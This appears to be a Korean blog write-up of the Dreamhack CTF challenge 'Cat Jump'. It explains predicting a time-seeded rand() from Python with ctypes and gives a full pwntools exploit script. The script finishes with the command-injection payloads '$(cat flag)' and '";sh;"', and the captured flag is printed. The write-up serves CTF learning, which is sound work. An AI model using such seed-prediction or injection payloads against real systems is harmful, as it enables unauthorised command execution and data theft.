[Dreamhack] Cat Jump

pandas·2024년 10월 14일
0

Dreamhack

목록 보기
9/14

00. 문제 파일

01. 바이너리 분석

일단 도커부터 설치해줬다
기타 python3, vim, pwngdb, pwntools등을 도커 내에 설치해주었다
IDA에서 실행파일 분석했다

주석으로 분석을 정리해봤다


이런 고양이가 출력되고 랜덤한 값에 따라서 일치하는 입력을 37번 맞춰야 한다

Brute Force로는 가능한데 2**37(137,438,953,472번)중 1번 익스가 된다

obstacle0or 1이 랜덤하게 배치되고,
0이면 h,
1이면 l을 입력해야 한다
(이걸 37번 맞추면 된다)

02. 공격 시나리오


random값을 만들때 시간을 기반으로 한다
-> 만약 동시에 랜덤값을 생성한다면..?

obstacle값을 알게 되고, 정답인 입력을 알게 된다

그렇다고 바로 플래그가 출력되는 것은 아니다

37번 성공하고 난 뒤 실행되는 코드이다 (IDA)

command injection을 활용해야되는 부분이다

$(cat flag)
";sh;"
등등등이 있다

03. Exploit

python에서 C언어 srand()를 사용해야 된다

from ctypes import *
libc = CDLL("/lib/x86_64-linux-gnu/libc.so.6")
libc.srand(libc.time(0x00))
print(libc.rand())

랜덤을 출력하는 python코드 with. C

for i in range(37):
    random = libc.rand() % 2
    p.recvuntil(b"left jump='h', right jump='j': ")

    if random == 0:
        p.sendline(b"l")
    else:
        p.sendline(b"h")

    libc.rand()

    print(f"{i+1}time : Success")

37번 반복하면 된다

payload = b""
payload += b"$(cat flag)"
p.sendlineafter(b": ", payload)

command injection

전체 익스 코드

from pwn import *
from ctypes import *
import time

p = process("./cat_jump")

libc = CDLL("/lib/x86_64-linux-gnu/libc.so.6")
libc.srand(libc.time(0x00))
p.recvuntil(b"let the cat reach the roof! ")
time.sleep(1)

for i in range(37):
    random = libc.rand() % 2
    p.recvuntil(b"left jump='h', right jump='j': ")

    if random == 0:
        p.sendline(b"l")
    else:
        p.sendline(b"h")

    libc.rand()

    print(f"{i+1}time : Success")

payload = b""
payload += b"$(cat flag)"
p.sendlineafter(b": ", payload)
p.interactive()


DH{da65478323e88390957aee8177eb3cf6e60a2a6b486a76d46fc4d94ec785bb48}

04. Review

타임스탬프 방식으로 랜덤값을 가져오는 방법이 신기했다
Dreamhack CTFranderer문제와 비슷한 것 같다 (아직 안 풀긴 했다)
다 맞춘다고 플래그를 얻지 못하고, 필터링을 우회해야 되서 좀 어려웠다
필터링 우회 방법이 다 달라서 write up 보는게 재밋다
처음으로 도커로 환경 구축하고 익스 돌렸다
재밋고 고양이가 귀여운 문제였다

profile
KDMHS 23 WP

0개의 댓글

관련 채용 정보